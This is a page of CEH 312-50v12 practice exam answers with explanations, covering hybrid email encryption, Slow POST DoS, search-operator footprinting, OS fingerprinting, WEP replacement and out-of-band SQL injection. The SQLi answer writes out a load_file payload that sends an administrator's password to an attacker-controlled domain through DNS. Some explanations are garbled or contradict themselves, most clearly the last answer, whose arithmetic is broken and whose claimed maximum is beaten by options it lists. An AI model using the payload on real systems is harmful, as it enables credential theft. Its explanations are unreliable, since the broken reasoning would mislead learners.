ECCouncil 312-50v12 Practice Test - Questions Answers, Page 52

To ensure both confidentiality and non-repudiation for secure email communication, you need to use a combination of symmetric and asymmetric cryptography. Symmetric encryption is a method of encrypting and decrypting data using the same secret key, which is faster and more efficient than asymmetric encryption. Asymmetric encryption is a method of encrypting and decrypting data using a pair of keys: a public key and a private key, which are mathematically related but not identical. Asymmetric encryption can provide authentication, integrity, and non-repudiation, as well as key distribution.

The cryptographic technique that would best serve the purpose is to apply asymmetric encryption with RSA and use the private key for signing. RSA is a widely used algorithm for asymmetric encryption, which is based on the difficulty of factoring large numbers. RSA can be used to encrypt data, as well as to generate digital signatures, which are a way of proving the identity and authenticity of the sender and the integrity of the message.

The steps to implement this technique are as follows1:

Generate a pair of keys for each user: a public key and a private key. The public key can be shared with anyone, while the private key must be kept secret and protected by the user.

When a user wants to send an email to another user, they first encrypt the email content with a symmetric key, such as AES, which is a strong and efficient algorithm for symmetric encryption. The symmetric key is then encrypted with the recipient's public key, using RSA. The encrypted email and the encrypted symmetric key are then sent to the recipient.

The sender also generates a digital signature for the email, using their private key and a hash function, such as SHA-256, which is a secure and widely used algorithm for generating hashes. A hash function is a mathematical function that takes any input and produces a fixed-length output, called a hash or a digest, that uniquely represents the input. A digital signature is a hash of the email that is encrypted with the sender's private key, using RSA. The digital signature is then attached to the email and sent to the recipient.

When the recipient receives the email, they first decrypt the symmetric key with their private key, using RSA. They then use the symmetric key to decrypt the email content, using AES. They also verify the digital signature by decrypting it with the sender's public key, using RSA, and comparing the resulting hash with the hash of the email, using the same hash function. If the hashes match, it means that the email is authentic and has not been tampered with.

Using this technique, the email communication is secure because:

The confidentiality of the email content is ensured by the symmetric encryption with AES, which is hard to break without knowing the symmetric key.

The symmetric key is also protected by the asymmetric encryption with RSA, which is hard to break without knowing the recipient's private key.

The non-repudiation of the email is ensured by the digital signature with RSA, which is hard to forge without knowing the sender's private key.

The digital signature also provides authentication and integrity of the email, as it proves that the email was sent by the sender and has not been altered in transit.

How to Encrypt Email (Gmail, Outlook, iOS, Yahoo, Android, AOL)

A Slow HTTP POST attack is a type of denial-of-service (DoS) attack that exploits the way web servers handle HTTP requests. The attacker sends a legitimate HTTP POST header to the web server, specifying a large amount of data to be sent in the request body. However, the attacker then sends the data very slowly, keeping the connection open and occupying the server's resources. The attacker can launch multiple such connections, exceeding the server's capacity to handle concurrent requests and preventing legitimate users from accessing the web server.

The attack duration D is given by the formula D = a * b, where a is the number of connections and b is the hold-up time per connection. The attacker intends to maximize D by manipulating a and b. The server can manage m connections per second, but any connections exceeding m will overwhelm the system. Therefore, the scenario that is most likely to result in the longest duration of server unavailability is the one where a > m and b is the largest. Among the four options, this is the case for option B, where a = 100, m = 90, and b = 15. In this scenario, D = 100 * 15 = 1500 seconds, which is the longest among the four options. Option A has a larger b, but a < m, so the server can handle the connections without being overwhelmed. Option C has a > m, but a smaller b, so the attack duration is shorter. Option D has a > m, but a smaller b and a smaller difference between a and m, so the attack duration is also shorter.

Reference:

What is a Slow POST Attack & How to Prevent One? (Guide)

Mitigate Slow HTTP GET/POST Vulnerabilities in the Apache HTTP Server - Acunetix

What is a Slow Post DDoS Attack? | NETSCOUT

The location: operator is the least useful in providing the attacker with sensitive VPN-related information, because it does not directly relate to VPN configuration, credentials, or vulnerabilities. The location: operator finds information for a specific location, such as a city, country, or region. For example, location:paris would return results related to Paris, France. However, this operator does not help the attacker to identify or access VPN servers or clients, unless they are specifically named or indexed by their location, which is unlikely.

The other operators are more useful in providing the attacker with sensitive VPN-related information, because they can help the attacker to find pages or files that contain VPN configuration, credentials, or vulnerabilities. The intitle: operator restricts results to only the pages containing the specified term in the title. For example, intitle:vpn would return pages with VPN in their title, which may include VPN guides, manuals, or tutorials. The inurl: operator restricts the results to only the pages containing the specified word in the URL. For example, inurl:vpn would return pages with VPN in their URL, which may include VPN login portals, configuration files, or directories. The link: operator searches websites or pages that contain links to the specified website or page. For example, link:vpn.com would return pages that link to vpn.com, which may include VPN reviews, comparisons, or recommendations.Reference:

Google Search Operators: The Complete List (44 Advanced Operators)

Footprinting through search engines

Module 02: Footprinting and Reconnaissance

Using default settings on a web server is considered a security risk because it can reveal the server software type and version, which can help attackers identify potential vulnerabilities and launch targeted attacks. For example, if the default settings include a server signature that displays the name and version of the web server software, such as Apache 2.4.46, an attacker can search for known exploits or bugs that affect that specific software and version. Additionally, default settings may also include other insecure configurations, such as weak passwords, unnecessary services, or open ports, that can expose the web server to unauthorized access or compromise.

The best initial step to mitigate this risk is to change the default settings to hide or obscure the server software type and version, as well as to disable or remove any unnecessary or insecure features.For example, to hide the server signature, one can modify the ServerTokens and ServerSignature directives in the Apache configuration file1.Alternatively, one can use a web application firewall or a reverse proxy to mask the server information from the client requests2. Changing the default settings can reduce the attack surface and make it harder for attackers to exploit the web server.

How to Hide Apache Version Number and Other Sensitive Info

How to hide server information from HTTP headers? - Stack Overflow

The ethical hacker conducted Test 1, which is a TCP/IP stack fingerprinting technique that uses the SYN and ECN-Echo flags to determine the OS of the target system. The SYN flag is used to initiate a TCP connection, and the ECN-Echo flag is used to indicate that the sender supports Explicit Congestion Notification (ECN), which is a mechanism to reduce network congestion. Different OSes have different implementations and responses to these flags, which can reveal their identity. For example, Windows XP and 2000 will reply with SYN and ECN-Echo flags set, while Linux will reply with only SYN flag set. By sending a TCP packet with these flags enabled to an open TCP port and observing the reply, the ethical hacker can probe the nature of the response and subsequently determine the OS fingerprint.

The ethical hacker adopted this specific approach because it is an advanced and stealthy technique that can evade some firewalls and intrusion detection systems (IDS) that may block or alert other types of packets, such as NULL, FIN, or Xmas packets. Moreover, this technique can provide more accurate and reliable results than other techniques, such as banner grabbing or passive analysis, that may depend on the availability or validity of the information provided by the target system.

The other options are not correct, as they describe different tests and reasons. Test 3 is a TCP/IP stack fingerprinting technique that uses the URG, PSH, SYN, and FIN flags to determine the OS of the target system. Test 2 is a TCP/IP stack fingerprinting technique that uses a NULL packet, which is a TCP packet with no flags enabled, to determine the OS of the target system. Test 6 is a TCP/IP stack fingerprinting technique that uses the ACK flag, which is used to acknowledge the receipt of a TCP segment, to determine the OS of the target system.Reference:

OS and Application Fingerprinting | SANS Institute

Operating System Fingerprinting | SpringerLink

OS and Application Fingerprinting - community.akamai.com

What is OS Fingerprinting and Techniques - Zerosuniverse

A vulnerability assessment is a systematic review of security weaknesses in an information system.It evaluates if the system is susceptible to any known vulnerabilities, assigns severity levels to those vulnerabilities, and recommends remediation or mitigation, if and whenever needed1. A vulnerability assessment can be performed using various tools and techniques, depending on the scope and objectives of the assessment.

Considering the potential vulnerability sources, the best initial approach to vulnerability assessment is to check for hardware and software misconfigurations to identify any possible loopholes. Hardware and software misconfigurations are common sources of vulnerabilities that can expose the system to unauthorized access, data breaches, or service disruptions. Hardware and software misconfigurations can include:

Insecure default settings, such as weak passwords, open ports, unnecessary services, or verbose error messages.

Improper access control policies, such as granting excessive privileges, allowing anonymous access, or failing to revoke access for terminated users.

Lack of encryption or authentication mechanisms, such as using plain text protocols, storing sensitive data in clear text, or transmitting data without verifying the identity of the sender or receiver.

Outdated or incompatible software versions, such as using unsupported or deprecated software, failing to apply security patches, or having software conflicts or dependencies.

Checking for hardware and software misconfigurations can help identify any possible loopholes that could be exploited by attackers to compromise the system or the data. Checking for hardware and software misconfigurations can be done using various tools, such as:

Configuration management tools, such as Ansible, Puppet, or Chef, that can automate the deployment and maintenance of consistent and secure configurations across the system.

Configuration auditing tools, such as Nipper, Lynis, or OpenSCAP, that can scan the system for deviations from the desired or expected configurations and report any issues or vulnerabilities.

Configuration testing tools, such as Inspec, Serverspec, or Testinfra, that can verify the system's compliance with the specified configuration rules and standards.

Therefore, checking for hardware and software misconfigurations is the best initial approach to vulnerability assessment, as it can help identify and eliminate any possible loopholes that could pose a security risk to the system or the data.

Vulnerability Assessment Principles | Tenable

Configuration Management Tools: A Complete Guide - Guru99

Top 10 Configuration Auditing Tools - Infosec Resources

[Configuration Testing Tools: A Complete Guide - Guru99]

WEP encryption is an outdated and insecure method of protecting wireless networks from unauthorized access and eavesdropping.WEP uses a static key that can be easily cracked by various tools and techniques, such as capturing the initialization vectors, brute-forcing the key, or exploiting the weak key scheduling algorithm1. Therefore, you should recommend a more secure encryption method to enhance the security of the company's wireless network.

One of the most suitable replacements for WEP encryption is WPA2-PSK with AES encryption. WPA2 stands for Wi-Fi Protected Access 2, which is a security standard that improves upon the previous WPA standard. WPA2 uses a robust encryption algorithm called AES, which stands for Advanced Encryption Standard.AES is a block cipher that uses a 128-bit key and is considered to be very secure and resistant to attacks2.

WPA2-PSK stands for WPA2 Pre-Shared Key, which is a mode of WPA2 that uses a passphrase or a password to generate the encryption key. The passphrase or password must be entered by the users who want to connect to the wireless network. The key is then derived from the passphrase or password using a function called PBKDF2, which stands for Password-Based Key Derivation Function 2.PBKDF2 adds a salt and a number of iterations to the passphrase or password to make it harder to crack3.

WPA2-PSK with AES encryption offers several advantages over WEP encryption, such as:

It uses a dynamic key that changes with each session, instead of a static key that remains the same.

It uses a stronger encryption algorithm that is more difficult to break, instead of a weaker encryption algorithm that is more vulnerable to attacks.

It uses a longer key that provides more security, instead of a shorter key that provides less security.

It uses a more secure key derivation function that adds complexity and randomness, instead of a simple key generation function that is predictable and flawed.

Therefore, you should recommend WPA2-PSK with AES encryption as a suitable replacement to enhance the security of the company's wireless network.

Wireless Security - Encryption - Online Tutorials Library

WiFi Security: WEP, WPA, WPA2, WPA3 And Their Differences - NetSpot

WPA2-PSK (Wi-Fi Protected Access 2 Pre-Shared Key)

An 'out-of-band' SQL Injection attack is a type of SQL injection where the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control1. This technique can be used to bypass input validation and pattern matching measures that are based on the application's responses.The attacker can use various SQL functions or commands that trigger DNS or HTTP requests, such as load_file, copy, dbms_ldap, etc., depending on the SQL server type123. By concatenating the data they want to extract with a domain name they own, the attacker can receive the data via DNS or HTTP logs. For example, the attacker can inject the following SQL query to exfiltrate the password of the administrator user from a MySQL database:

SELECT load_file(CONCAT('\\\\',(SELECT password FROM users WHERE username='administrator'),'.example.com\\\\test.txt'))

This will cause the application to send a DNS request to the domain password.example.com, where password is the actual value of the administrator's password1.

1: Out-of-band SQL injection | Learn AppSec | Invicti

2: Lab: Blind SQL injection with out-of-band interaction | Web Security Academy

3: SQLi part 6: Out-of-band SQLi | Acunetix

The total data extracted by the attacker is E=xyz'u', where x is the number of tables, y is the number of columns, z is the number of records, and u is the number of SQL payloads. To maximize E, the attacker would want to choose the highest values of z and u, while keeping x and y constant. Therefore, the situation where z=600 and u=2 would result in the highest extracted data volume, as E=42600*2=9600. The other situations would result in lower values of E, as shown below:

A: E=42400*4=12800

B: E=42550*2=8800

D: E=42500*3=12000

The attacker uses UNION SELECT statements to combine the results from different tables and columns, and DBMS_XSLPPOCESSOR.READ2CLOB to read sensitive files from the database server12.These techniques can bypass input validation and pattern matching measures that are based on the application's responses3.

1: DBMS_XSLPROCESSOR - Oracle Help Center

2: DBMS_XSLPROCESSOR.READ2CLOB Example Script to Read a file data into ...

3: Attack Surface Analysis - OWASP Cheat Sheet Series